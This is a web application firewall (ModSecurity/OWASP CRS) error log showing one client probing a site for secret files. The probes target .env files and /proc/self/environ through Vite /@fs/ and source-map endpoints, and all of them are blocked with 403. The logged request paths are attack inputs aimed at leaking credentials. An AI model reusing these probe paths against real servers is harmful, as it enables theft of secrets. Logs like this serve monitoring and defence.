[Sun Oct 25 13:42:07.410349 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4_b1MGGelIHqGysXAasgAAAB8"]
[Sun Oct 25 13:42:07.410777 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4_b1MGGelIHqGysXAasgAAAB8"]
[Sun Oct 25 13:42:07.411015 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4_b1MGGelIHqGysXAasgAAAB8"]
[Sun Oct 25 13:42:07.418390 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4_b0nqvEndZSiuRU5OmgAAAA8"]
[Sun Oct 25 13:42:07.418795 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4_b0nqvEndZSiuRU5OmgAAAA8"]
[Sun Oct 25 13:42:07.419011 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4_b0nqvEndZSiuRU5OmgAAAA8"]
[Sun Oct 25 13:42:07.490298 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDngAAAAk"]
[Sun Oct 25 13:42:07.491059 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDngAAAAk"]
[Sun Oct 25 13:42:07.491546 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:49970] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b1Y5e6yJWIYGXiqDngAAAAk"]
[Sun Oct 25 13:42:07.500524 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4_b0nqvEndZSiuRU5OmwAAAA8"]
[Sun Oct 25 13:42:07.500855 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4_b0nqvEndZSiuRU5OmwAAAA8"]
[Sun Oct 25 13:42:07.501094 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4_b0nqvEndZSiuRU5OmwAAAA8"]
[Sun Oct 25 13:42:07.528884 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4_byjnAS4eJh-ada2MvAAAAA0"]
[Sun Oct 25 13:42:07.529353 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4_byjnAS4eJh-ada2MvAAAAA0"]
[Sun Oct 25 13:42:07.529588 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50036] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4_byjnAS4eJh-ada2MvAAAAA0"]
[Sun Oct 25 13:42:07.533835 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4_b-Rnh_MPFutbQ4Jk6QAAAAE"]
[Sun Oct 25 13:42:07.534242 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4_b-Rnh_MPFutbQ4Jk6QAAAAE"]
[Sun Oct 25 13:42:07.534455 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4_b-Rnh_MPFutbQ4Jk6QAAAAE"]
[Sun Oct 25 13:42:07.536065 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50000] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b3dfzIDEwjyAl3puFQAAACc"]
[Sun Oct 25 13:42:07.536696 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b3dfzIDEwjyAl3puFQAAACc"]
[Sun Oct 25 13:42:07.536989 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b3dfzIDEwjyAl3puFQAAACc"]
[Sun Oct 25 13:42:07.539571 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b4IGIq5euXyTbvT07wAAACQ"]
[Sun Oct 25 13:42:07.540026 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b4IGIq5euXyTbvT07wAAACQ"]
[Sun Oct 25 13:42:07.540255 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b4IGIq5euXyTbvT07wAAACQ"]
[Sun Oct 25 13:42:07.540302 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b4IGIq5euXyTbvT07wAAACQ"]
[Sun Oct 25 13:42:07.540317 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4_b4IGIq5euXyTbvT07wAAACQ"]
[Sun Oct 25 13:42:07.541326 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4_b1MGGelIHqGysXAaswAAAB8"]
[Sun Oct 25 13:42:07.541751 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4_b1MGGelIHqGysXAaswAAAB8"]
[Sun Oct 25 13:42:07.541979 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4_b1MGGelIHqGysXAaswAAAB8"]
[Sun Oct 25 13:42:07.605549 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at4_b4IGIq5euXyTbvT08AAAACQ"]
[Sun Oct 25 13:42:07.616358 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4_b1MGGelIHqGysXAatAAAAB8"]
[Sun Oct 25 13:42:07.616905 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4_b1MGGelIHqGysXAatAAAAB8"]
[Sun Oct 25 13:42:07.617245 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4_b1MGGelIHqGysXAatAAAAB8"]
[Sun Oct 25 13:42:07.620281 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_b8sxP9Gbm0IYLGL8_wAAACI"]
[Sun Oct 25 13:42:07.620706 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_b8sxP9Gbm0IYLGL8_wAAACI"]
[Sun Oct 25 13:42:07.620944 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4_b8sxP9Gbm0IYLGL8_wAAACI"]
[Sun Oct 25 13:42:07.622979 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at4_b-TZqNQxsvKVpXkhcAAAABM"]
[Sun Oct 25 13:42:07.623004 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50010] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at4_b-TZqNQxsvKVpXkhcAAAABM"]
[Sun Oct 25 13:42:07.624287 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at4_b4IGIq5euXyTbvT08AAAACQ"]
[Sun Oct 25 13:42:07.624546 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at4_b4IGIq5euXyTbvT08AAAACQ"]
